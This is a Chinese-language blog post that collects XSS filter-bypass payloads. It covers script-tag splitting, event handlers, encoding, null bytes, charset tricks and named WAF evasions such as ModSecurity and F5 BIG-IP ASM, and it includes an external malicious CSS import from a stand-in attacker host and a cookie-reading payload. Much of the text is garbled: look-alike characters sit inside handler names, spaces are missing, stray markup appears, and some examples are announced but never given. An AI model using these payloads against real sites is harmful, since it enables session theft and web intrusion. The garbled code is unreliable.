xss绕过，payload全集

年良骏

2023-12-01

XSS总结:

xss分为三种，反射型xss，DOM型XSS及存储型XSS，不同类型的XSS的危害不同，有兴趣的可以观看一下csdn上明智讲的关于XSS攻击及原理。https://edu.csdn.net/course/detail/8585里面的修复原理和补丁代码讲的还是很详细的，他的课程还有利用xss获取cookie等。

通杀标签payload：

1、script标签

绕过进行一次移除操作：

<scr<script>ipt>alert("XSS")</scr<script>ipt>

Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本：

1.2 JavaScript 事件

我们可以像如下这样在元素中定义 JavaScript 事件：

这个 JavaScript 代码当有人点击它后就会被执行，同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了，但是依旧还有少量事件没有被过滤，例如，onmouseenter 事件：<divοnmοuseenter="alert('xss')">当用户鼠标移动到 div 上时就会触发我们的代码。

另一个绕过的办法就是在属性和= 之间插入一个空格：

1.3 行内样式(Inlinestyle)

我们同样可以在行内样式里利用 IE 浏览器支持的动态特性：//IE5之后才支持

<div style="color: expression(alert('XSS'))"> //experssion后执行的语句相当于javascript后执行的语句

过滤器会检查关键字 style，随后跟随的不能是 <，在随后是 expression：

/style=[^<]*((expression\s*?[<]∗?)|(behavior\s*:))[^<]*(?=\>)/Uis

所以，让我们需要把 < 放到其他地方：

1.4 CSS import

IE 浏览器支持在 CSS 中扩展 JavaScript，这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的，因为攻击者现在可以在原始页面中执行 JavaScript 代码了。

<style>

@import url(" http://attacker.org/malicious.css");

</style>

malicious.css：

body {

color: expression(alert('XSS'));

}

为了绕过对 @import 的过滤，可以在 CSS 中使用反斜杠进行绕过：

<style>

@imp\ort url(" http://attacker.org/malicious.css");

</style>

IE 浏览器会接受反斜杠，但是我们绕过了过滤器。

1.5 Javascript URL

链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript：

上面的过滤会从代码中移除 javascript:，所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法，使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码：

上面这段代码不匹配正则表达式，但是浏览器依旧会执行它，因为浏览器会首先进行 URL 解码操作。

另外，我们还可以使用 VBScript，虽然它在 IE11 中被禁用了，但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码：

'-confirm`1`-'

'-confirm(1)-'

1.6 利用字符编码

%c1;alert(/xss/);//

1.7 绕过长度限制

"οnclick=alert(1)//

"><!--

--><script>alert(xss);<script>

1.8 使用<base>标签

<scriptsrc=&#100&#97&#116&#97:text/javascript,alert(88199)></script>

<anytag οnmοuseοver=alert(15)>M

<anytag οnclick=alert(16)>M

<a οnmοuseοver=alert(17)>M

<a οnclick=alert(18)>M

<a href=javascript:alert(19)>M

<button/οnclick=alert(20)>M

<form><button

formaction=javascript&colon;alert(21)>M

<form οnsubmit=alert(23)><button>M

<img src=x οnerrοr=alert(24)> 29

<body

οnscrοll=alert(26)><br><br><br><br><br><br><br>

url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">^_^

2.2.1 如果大小写不行的话，<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>；

2.2.2使用<a>标签测试

<a href=“ http://www.google.com">Clickme</a>

<a被过滤？

href被过滤？

其他内容被过滤？

如果没有过滤尝试使用

<a href=”javascript:alert(1)”>Clickme</a>

尝试使用错误的事件查看过滤

<a href=" rhainfosec.com"onclimbatree=alert(1)>ClickHere</a>

HTML5拥有150个事件处理函数，可以多尝试其他函数

<body/οnhashchange=alert(1)><a href=#>clickit

2.3 测试其他标签

src属性

<img/src=aaa.jpg οnerrοr=prompt(1);

iframe

<iframesrc="javascript:alert(2)">

Embed

Action

<isindexaction=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1)type=image>

mario验证

<span class="pln"> </span><spanclass="tag"><formaction</span><spanclass="pun">=</span><spanclass="atv">&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;</span><spanclass="tag">><button></span><spanclass="pln">CLICK</span>

“formaction”属性

<isindexformaction="javascript:alert(1)" type=image>

<form><buttonformaction=javascript&colon;alert(1)>CLICKME

“background”属性

<table background=javascript:alert(1)></table> // Works on Opera10.5 and IE6

“posters” 属性

<video poster=javascript:alert(1)//></video> // Works Upto Opera10.5

“data”属性

“code”属性

<applet code="javascript:confirm(document.cookie);"> // FirefoxOnly

事件处理

<marquee/onstart=confirm(2)>/

短payload

<q/oncut=alert(1)> // Useful in-case of payloadrestrictions.

嵌套欺骗

<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>

<body language=vbsοnlοad=alert-1 // Works with IE8

<commandοnmοuseοver="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6 9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8

圆括号被过滤

<body/οnlοad=javascript:window.οnerrοr=eval;throw'=alert\x281\x29';

Expression 属性

<img style="xss:expression(alert(0))"> // Works upto IE7.

<div style="color:rgb(''x:expression(alert(1))"></div> // Works upto IE7.

“location”属性

<a οnmοuseοver=location=’javascript:alert(1)>click

<body οnfοcus="location='javascrpt:alert(1) >123

其他Payload

<math><a xlink:href="//jsfiddle .NET/t846h/">click // ByAshar Javed

（）；：被过滤

( is html encoded to &#40

) is html encoded to &#41

Opera的变量

实体解码

</script><script>alert(1)</script>

<a href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>

编码

JavaScript是很灵活的语言，可以使用十六进制、Unicode、HTML等进行编码，以下属性可以被编码

（支持HTML, Octal, Decimal,Hexadecimal, and Unicode）

href=

action=

formaction=

location=

on*=

name=

background=

poster=

src=

code=

data= //只支持base64

2.4 基于上下文的过滤

WAF最大的问题是不能理解内容，使用黑名单可以阻挡独立的js脚本，但仍不能对xss提供足够的保护，如果一个反射型的XSS是下面这种形式

2.4.1 输入反射属性

<inputvalue="XSStest" type=text>

我们可以使用 “><imgsrc=x οnerrοr=prompt(0);>触发，但是如果<>被过滤，我们仍然可以使用“ autofocusοnfοcus=alert(1)//触发，基本是使用“ 关闭value属性，再加入我们的执行脚本

" οnmοuseοver="prompt(0) x="

" οnfοcusin=alert(1) autofocus x="

" οnfοcusοut=alert(1) autofocus x="

" οnblur=alert(1) autofocus a="

输入反射在<script>标签内

类似这种情况：

Var

x=”Input”;

</script>

通常，我们使用“></script>,闭合前面的</script>标签，然而在这种情况，我们也可以直接输入执行脚本alert(), prompt()

confirm() ，例如：

“;alert(1)//

2.4.3 超文本内容

代码中的情况如下

href=”Userinput”>Click</a>

可以使用javascript:alert(1)//直接执行<a

href=”javascript:alert(1)//”>Click</a>

2.4.4 变形

主要包含大小写和JavaScript变形

javascript:alert(1)

javaSCRIPT&colon;alert(1)

JaVaScRipT:alert(1)

javas&Tab;cript:\u0061lert(1);

javascript:\u0061lert(1&#x29

avascript:alert(document&period;cookie) // AsharJaved

IE10以下和URI中可以使用VBScript

vbscript:alert(1);

vbscr&Tab;ipt:alert(1)"

Data URl

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

2.4.5JSON内容

反射输入

encodeURIComponent('userinput')

可以使用

-alert(1)-

-prompt(1)-

-confirm(1)-

结果

encodeURIComponent(''-alert(1)-'')

encodeURIComponent(''-prompt(1)-'')

2.4.6 输入反射在svg标签内

源码如下：

可以输入

www.site.com/test. PHP?var=text”;alert(1)//

如果系统编码了”字符

原因是引入了附加的（XML）到HTML内容里，可以使用2次编码处理

浏览器BUG

2.4.7 字符集BUG

字符集BUG在IE中很普遍，最早的bug是UTF-7。如果能控制字符集编码，我们可以绕过99% 的WAF过滤。

示例

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS

可以控制编码，提交

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img

src=x οnerrοr=prompt(0);>

可以修改为UTF-32编码形式

???script?alert(1)?/script?

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

2.4.8 空字节

最长用来绕过mod_security防火墙，形式如下：

<scri%00pt>alert(1);</scri%00pt>

<scri\x00pt>alert(1);</scri%00pt>

<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

空字节只适用于PHP 5.3.8以上的版本

2.4.9 语法BUG

RFC声明中节点名称不能是空格，以下的形式在javascript中不能运行

<%0ascript>alert(1);</script>

<%0bscript>alert(1);</script>

<%, <//, <!,<?可以被解析成<，所以可以使用以下的payload

<// style=x:expression\28write(1)\29> // Works upto IE7 参考 http://html5sec.org/#71

// Worksupto IE9 参考 http://html5sec.org/#115

<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> // Works in IE7 参考 http://html5sec.org/#77

<%div%20style=xss:expression(prompt(1))> // Works Upto IE7

2.4.10Unicode分隔符

[on\w+\s*]这个规则过滤了所有on事件，为了验证每个浏览器中有效的分隔符，可以使用fuzzing方法测试0×00到0xff，结果如下：

IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]

Chrome = [0x09,0x20,0x28,0x2C,0x3B]

Safari = [0x2C,0x3B]

FireFox= [0x09,0x20,0x28,0x2C,0x3B]

Opera = [0x09,0x20,0x2C,0x3B]

Android = [0x09,0x20,0x28,0x2C,0x3B]

x0b在Mod_security中已经被过滤，绕过的方法：

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec

2.4.11缺少X-frame选项

通常会认为X-frame是用来防护点击劫持的配置，其实也可以防护使用iframe引用的xss漏洞

Docmodes

IE引入了doc-mode很长时间，提供给老版本浏览器的后端兼容性，有风险，攻击情景是黑客可以引用你站点的框架，他可以引入doc-mode执行css表达式

expression(open(alert(1)))

以下POC可以插入到IE7中

<html>

<body>

<iframesrc=" https://targetwebsite.com">

</body>

</html>

2.4.12Window.name欺骗

情景：我们用iframe加载一个页面，我们可以控制窗口的名称，这里也可以执行javascript代码

POC

<iframesrc=' http://www.target.com?foo="xss autofocus/AAAAA οnfοcus=location=window.name//'

name="javascript:alert("XSS")"></iframe>

DOM型XSS

服务器不支持过滤DOM型的XSS，因为DOM型XSS总是在客户端执行，看一个例子：

vari=location.hash;

document.write(i);

</script>

在一些情况下，反射型XSS可以转换成DOM型XSS：

http:// www.target.com/xss.php?foo=<svg/οnlοad=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()

上面的POC只在[.+都被允许的情况下适用，可以使用location.hash注入任何不允许的编码

Location.hash[1] = : // Defined at the first position after the hash.

Location.hash[2]= ( // Defined at the second position after the has

Location.hash[3] = ) // Defined at third position after the hash.

如果有客户端过滤可能不适用

2.4.13ModSecurity绕过

<scri%00pt>confirm(0);</scri%00pt>

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec

参考 http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

2.4.14WEB KNIGHT绕过

<isindexaction=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1)type=image>

F5 BIG IP ASM and Palo ALTO绕过

<table background="javascript:alert(1)"></table> //IE6或者低版本Opera

“/><marquee onfinish=confirm(123)>a</marquee>

Dot Defender绕过

xss绕过，payload全集

XSS总结:

相关阅读

相关文章

相关问答

相关文档